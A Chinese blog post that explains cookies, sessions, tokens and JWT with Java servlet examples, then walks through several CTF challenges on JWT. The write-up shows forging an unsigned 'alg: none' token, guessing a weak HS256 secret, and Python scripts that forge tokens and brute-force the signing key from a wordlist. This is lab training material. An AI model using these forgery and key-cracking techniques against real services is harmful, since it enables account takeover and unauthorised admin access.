诗酒趁年华。|

Arreb0_1

园龄:3年4个月粉丝:4关注:2

浅谈Cookie、Session、Token、JWT及关于JWT的ctf题目

HTTP无状态

什么是HTTP无协议?

HTTP无状态协议,是指协议对于交互性场景没有记忆能力。 在点击一个纯的html网页,请求获取服务器的html文件资源时,每次http请求都会返回同样的信息,因为这个是没有交互的,每一次的请求都是相互独立的。

如果不使用socket等技术,服务端是无法通过http协议主动的联系请求端,所以服务端在收到客户端的请求后,会给予响应,但是服务端并不认识客户端

对于公开的,面向大众的信息,无论哪个客户端都可以给予响应,但如果涉及到客户端个人信息时则必须对客户端做验证,才能响应给对方

举个例子,

当你在某商场处于未登陆的状态,你看中一个商品需要加入到购物车,若没有登陆则在加入购物车前会跳转到登陆页面,因为服务器需要将你需要购买的商品放到属于你的盒子里,来进行结算。

所以需要一些手段来让服务端认识客户端

设计一个 http web应用

客户端在请求时需要带一个标识,来表明自己的身份,服务端得到标识后,允许客户端访问提供服务的接口

img

Cookie

Cookie是由服务器端生成,发送给User-Agent,浏览器会将Cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器

img

Java中的方法:cookie类

img

通过Servlet设置Cookie

通过Servlet设置Cookie包含三个步骤:

1.创建一个Cookie对象:

Cookie cookie = new Cookie("key","value");

2.设置最大生存周期:

cookie.setMaxAge(3600);//cookie存活3600s 

3.发送cookie到HTTP响应头:

response.addCookie(cookie);

实例:

package com;

import javax.servlet.*;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import java.io.IOException;
/**
*cookie的创建和发送
 */
@WebServlet(name = "CookieServlet", value = "/CookieServlet")
public class CookieServlet extends HttpServlet {

    protected void service(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException{
        //创建Cookie对象:
        Cookie cookie = new Cookie("name","zero");
        //设置最大生存周期:
        cookie.setMaxAge(3600);
        //发送cookie到http响应头:
        response.addCookie(cookie);
    }
}

注:

  • maxAge 属性取值为 -1,表示仅当前浏览器有效。

访问CookieServlet,查看network

img

img

通过Servlet获取Cookie

在服务器端只提供了一个getCookies()的方法来获取客户端回传的所有cookie组成的数组,如果需要获取单个cookie则需要通过变量来获取cookie的值

//获取Cookie数组
Cookie[] cookies = request.getCookies();
//判断数组是否为空
if 	(cookies != null && cookies.length > 0){
    //遍历Cookie数组
    for (Cookie cookie : cookies){
        //获取cookie的名称和值
        String name = cookie.getName();
        String value = cookie.getValue();
        System.out.println("名称" + name +",值" + value);
     
        
}

Cookie的优缺点

cookie的优点

1.极高的扩展性和可用性

2.通过良好的编程,控制保存在cookie中的session对象的大小。

3.通过加密和安全传输技术(SSL),减少cookie被破解的可能性。

4.只在cookie中存放不敏感数据,即使被盗也不会有重大损失。

5.控制cookie的生命期,使之不会永远有效。偷盗者很可能拿到一个过期的cookie。

cookie的缺点

1.Cookie数量和长度的限制。每个domain最多只能有20条cookie,每个cookie长度不能超过4KB,否则会被截掉。

2.安全性问题。如果cookie被人拦截了,那人就可以取得所有的session信息。即使加密也与事无补,因为拦截者并不需要知道cookie的意义,他只要原样转发cookie就可以达到目的了。

3.有些状态不可能保存在客户端。例如,为了防止重复提交表单,我们需要在服务器端保存一个计数器。如果我们把这个计数器保存在客户端,那么它起不到任何作用。

Session

Session 是服务器端会话技术。当浏览器访问 Web 服务器的资源时,服务器可以为每个用户浏览器创建一个 Session 对象,每个浏览器独占一个 Session 对象。
由于每个浏览器独占一个 Session,所以用户在访问服务器的资源时,可以把数据保存在各自的 Session 中。当用户再次访问该服务器中的其它资源时,其它资源可以从 Session 中取出数据,为用户服务。

img

  1. 当客户端第一次请求会话对象时,服务器会创建一个 Session 对象,并为该 Session 对象分配一个唯一的 SessionID(用来标识这个 Session 对象);
  2. 服务器将 SessionID 以 Cookie(Cookie 名称为:“JSESSIONID”,值为 SessionID 的值)的形式发送给客户端浏览器;
  3. 客户端浏览器再次发送 HTTP 请求时,会将携带 SessionID 的 Cookie 随请求一起发送给服务器;
  4. 服务器从请求中读取 SessionID,然后根据 SessionID 找到对应的 Session 对象。

sessionid是没有规律的字符串,相当于对用户账号密码加密了,session的会话时间会将cookie的有效时间改为相同,若cookie失效,则会话结束

如果特定时间内有大量用户访问服务器时,服务器则需要存储大量的Session ID 在服务器里

获取session

	//获取session
	//先获取session对象
	HttpSession session = request.getSession();
	String value = (String)session.getAttribute("name");
	response.getWriter().append(value);

Session 对象在服务器中驻留一段时间后没有被使用,就会被销毁,这个时间就是 Session 的过期时间。

Session 的默认过期时间为 30 分钟,我们可以通过如下两种方式设置过期时间。

1. 使用 元素

在 web.xml 中,使用 及其子元素 可以配置 Session 的默认过期时间,代码如下。

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd">
    <!--设置session的过期时间-->
    <session-config>
        <session-timeout>10</session-timeout>
    </session-config>
</web-app>
  • 元素用来指定默认 Session 过期时间,以分钟为单位,该元素值必须为整数。
  • 元素的值为零或负数,表示 Session 永远不会过期。

2. 调用 setMaxInactiveInterval() 方法

通过调用 session.setMaxInactiveInterval(int interval) 设置过期时间,以秒为单位,零和负数表示会话永远不会过期,代码如下。

  • //设置会话的过期时间
request.getSession().setMaxInactiveInterval(100);

Session 与 Cookie 对比

img

session存放在服务器端

cookie是一种数据载体

而token是诞生在服务器保存在浏览器这边

session的优缺点

session优点:
1.如果要在诸多Web页间传递一个变量,那么用Session变量要比通过QueryString传递变量可使问题简化。

2.要使WEb站点具有用户化,可以考虑使用Session变量。你的站点的每位访问者都有用户化的经验,基于此,随着LDAP和诸如MS Site

3.Server等的使用,已不必再将所有用户化过程置入Session变量了,而这个用户化是取决于用户喜好的。

4.你可以在任何想要使用的时候直接使用session变量,而不必事先声明它,这种方式接近于在VB中变量的使用。使用完毕后,也不必考虑将其释放,因为它将自动释放。

session缺点:

1.Session变量和cookies是同一类型的。如果某用户将浏览器设置为不兼容任何cookie,那么该用户就无法使用这个Session变量!

2.当一个用户访问某页面时,每个Session变量的运行环境便自动生成,这些Session变量可在用户离开该页面后仍保留20分钟!(事实上,这些变量一直可保留至“timeout”。“timeout”的时间长短由Web服务器管理员设定。一些站点上的变量仅维持了3分钟,一些则为10分钟,还有一些则保留至默认值20分钟。)所以,如果在Session中置入了较大的对象(如ADO,recordsets,connections, 等等),那就有麻烦了!随着站点访问量的增大,服务器将会因此而无法正常运行!对服务器

Token

Token的定义:Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

使用Token的目的:Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。

Token的认证流程:

    • 用户输入用户名和密码,发送给服务器。
    • 服务器验证用户名和密码,正确的话就返回一个签名过的token,浏览器客户端拿到这个token。
    • 客户端自己保存token,后续每次请求中,浏览器会把token作为http header发送给服务器,服务器验证签名是否有效,如果有效那么认证就成功,可以返回客户端需要的数据。

[

](https://blog.csdn.net/y532798113/article/details/102813264)

JWT:json web token

与普通Token一样都是访问资源的令牌,都可以记录用户信息,都是只有验证成功后才可以获取信息。

不同的是普通Token服务端验证token信息要进行数据的查询操作;JWT验证token信息就不用,在服务端使用密钥校验就可以,不用数据库的查询

服务端不需要存储数据,只需要管签名和验证

JWT格式:

Header.Payload.Signature

img

Header: {"alg": "HS256","typ": "JWT"} 
其中 alg:表示使用的算法默认是HS256 ,typ:表示token类型  
然后再用Base64URL 算法进行机密生成一串字符串

Payload: 也是一个 JSON 对象,用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用。
{
  iss (issuer):签发人
  exp (expiration time):过期时间
  sub (subject):主题
  aud (audience):受众
  nbf (Not Before):生效时间
  iat (Issued At):签发时间
  jti (JWT ID):编号
}
当然也可以在这一部分存储自己定义的端
Signature:这一部分就是 base64UrlEncode(header)+ base64UrlEncode(palyoad)+密钥
使用alg的算法进行加密

JWT原理:

img

token与jwt的区别

CTF中的JWT:

web345

img

img

访问admin后自动跳转到index.php

查看cookie

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDk0ODkyMTIsImV4cCI6MTY0OTQ5NjQxMiwibmJmIjoxNjQ5NDg5MjEyLCJzdWIiOiJ1c2VyIiwianRpIjoiZDFmMGQ4ZTc0MDkxN2IxZjZhNzUyY2YwYWQyZjA5N2MifV0

发现value的格式为x.y.z

base64解码

{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1649489212,"exp":1649496412,"nbf":1649489212,"sub":"user","jti":"d1f0d8e740917b1f6a752cf0ad2f097c"}]

将user改为admin再次加密

eyJhbGciOiJOb25lIiwidHlwIjoiand0In1beyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ4OTIxMiwiZXhwIjoxNjQ5NDk2NDEyLCJuYmYiOjE2NDk0ODkyMTIsInN1YiI6ImFkbWluIiwianRpIjoiZDFmMGQ4ZTc0MDkxN2IxZjZhNzUyY2YwYWQyZjA5N2MifV0=

img

web346

同上一题

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ4OTY0MiwiZXhwIjoxNjQ5NDk2ODQyLCJuYmYiOjE2NDk0ODk2NDIsInN1YiI6InVzZXIiLCJqdGkiOiIyMmFmYjFjZTkxZTRkNmM5NzFjNGMwMTcwNzAyNzU3OSJ9.AJx8WiIUz4S7rGJbNv9ukZTrX3TIxEba59UFNYU9YIU

使用base64解码后发现乱码

然后使用JWT在线解密

jwt.io

img

将sub的值改为admin,密钥盲猜123456

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ4OTY0MiwiZXhwIjoxNjQ5NDk2ODQyLCJuYmYiOjE2NDk0ODk2NDIsInN1YiI6ImFkbWluIiwianRpIjoiMjJhZmIxY2U5MWU0ZDZjOTcxYzRjMDE3MDcwMjc1NzkifQ.Ykkf_HZ3kQYmcqePB_rTCNww0RHnsrxXbqEWnJNAPWQ

修改value后访问/admin/

也可以使用python生成

import jwt

# payload
token_dict = {
    "iss": "admin",
    "iat": 1609236870,
    "exp": 1609244070,
    "nbf": 1609236870,
    "sub": "admin",
    "jti": "943d0b3237806659d2e205e42b319494"
}

headers = {
    "alg": "none",
    "typ": "JWT"
}
jwt_token = jwt.encode(token_dict,  # payload, 有效载体
                       "",  # 进行加密签名的密钥
                       algorithm="none",  # 指明签名算法方式, 默认也是HS256
                       headers=headers 
                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)
                      )

print(jwt_token)

web347

同上一题

web348

生成四位小写的字母组合字典

img

使用python脚本爆破密钥

import jwt
def runblasting(path,jwt_str,alg):
    if alg == "none":
        alg = "HS256"
    with open(path,encoding='utf-8') as f:
        for line in f:
            key_ = line.strip()
            print('                               use '+key_)
            try:
                jwt.decode(jwt_str,verify=True,key=key_,algorithms=alg)
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
                print('found key! --> ' +  key_)
                break
            except(jwt.exceptions.InvalidSignatureError):
                continue
        else:
            print("key not found!")

if __name__ == '__main__':
	runblasting('keys.txt','eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTQ5MDc4MSwiZXhwIjoxNjQ5NDk3OTgxLCJuYmYiOjE2NDk0OTA3ODEsInN1YiI6InVzZXIiLCJqdGkiOiJkMmFlZjNmMGU5MGQ5ODBiYWE1YTJlNjJhMzQ0YWFlMSJ9.ETIzeRukUkoIY2csxQkZk8gLwD13BekWr9gL5ECXahA','HS256')

img

img

参考链接:http://c.biancheng.net/servlet2/session.html

https://segmentfault.com/a/1190000041589611

本文作者:Arreb0_1

本文链接:https://www.cnblogs.com/Arreb0-1/p/16122696.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Arreb0_1  阅读(436)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起